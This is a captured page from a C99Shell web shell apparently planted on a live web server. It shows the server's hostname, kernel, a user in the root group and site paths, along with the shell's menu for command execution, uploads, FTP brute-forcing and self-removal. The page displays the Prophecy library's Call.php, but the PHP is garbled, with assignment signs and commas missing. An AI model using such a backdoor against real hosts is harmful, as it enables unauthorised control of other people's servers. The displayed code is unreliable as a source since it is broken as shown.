!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/phpspec/prophecy/src/Prophecy/Call/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Call.php (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Prophecy.
 * (c) Konstantin Kudryashov <ever.zet@gmail.com>
 *     Marcello Duarte <marcello.duarte@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Prophecy\Call;

use 
Exception;
use 
Prophecy\Argument\ArgumentsWildcard;

/**
 * Call object.
 *
 * @author Konstantin Kudryashov <ever.zet@gmail.com>
 */
class Call
{
    private 
$methodName;
    private 
$arguments;
    private 
$returnValue;
    private 
$exception;
    private 
$file;
    private 
$line;
    private 
$scores;

    
/**
     * Initializes call.
     *
     * @param string      $methodName
     * @param array       $arguments
     * @param mixed       $returnValue
     * @param Exception   $exception
     * @param null|string $file
     * @param null|int    $line
     */
    
public function __construct($methodName, array $arguments$returnValue,
                                
Exception $exception null$file$line)
    {
        
$this->methodName  $methodName;
        
$this->arguments   $arguments;
        
$this->returnValue $returnValue;
        
$this->exception   $exception;
        
$this->scores      = new \SplObjectStorage();

        if (
$file) {
            
$this->file $file;
            
$this->line intval($line);
        }
    }

    
/**
     * Returns called method name.
     *
     * @return string
     */
    
public function getMethodName()
    {
        return 
$this->methodName;
    }

    
/**
     * Returns called method arguments.
     *
     * @return array
     */
    
public function getArguments()
    {
        return 
$this->arguments;
    }

    
/**
     * Returns called method return value.
     *
     * @return null|mixed
     */
    
public function getReturnValue()
    {
        return 
$this->returnValue;
    }

    
/**
     * Returns exception that call thrown.
     *
     * @return null|Exception
     */
    
public function getException()
    {
        return 
$this->exception;
    }

    
/**
     * Returns callee filename.
     *
     * @return string
     */
    
public function getFile()
    {
        return 
$this->file;
    }

    
/**
     * Returns callee line number.
     *
     * @return int
     */
    
public function getLine()
    {
        return 
$this->line;
    }

    
/**
     * Returns short notation for callee place.
     *
     * @return string
     */
    
public function getCallPlace()
    {
        if (
null === $this->file) {
            return 
'unknown';
        }

        return 
sprintf('%s:%d'$this->file$this->line);
    }

    
/**
     * Adds the wildcard match score for the provided wildcard.
     *
     * @param ArgumentsWildcard $wildcard
     * @param false|int $score
     *
     * @return $this
     */
    
public function addScore(ArgumentsWildcard $wildcard$score)
    {
        
$this->scores[$wildcard] = $score;

        return 
$this;
    }

    
/**
     * Returns wildcard match score for the provided wildcard. The score is
     * calculated if not already done.
     *
     * @param ArgumentsWildcard $wildcard
     *
     * @return false|int False OR integer score (higher - better)
     */
    
public function getScore(ArgumentsWildcard $wildcard)
    {
        if (isset(
$this->scores[$wildcard])) {
            return 
$this->scores[$wildcard];
        }

        return 
$this->scores[$wildcard] = $wildcard->scoreArguments($this->getArguments());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--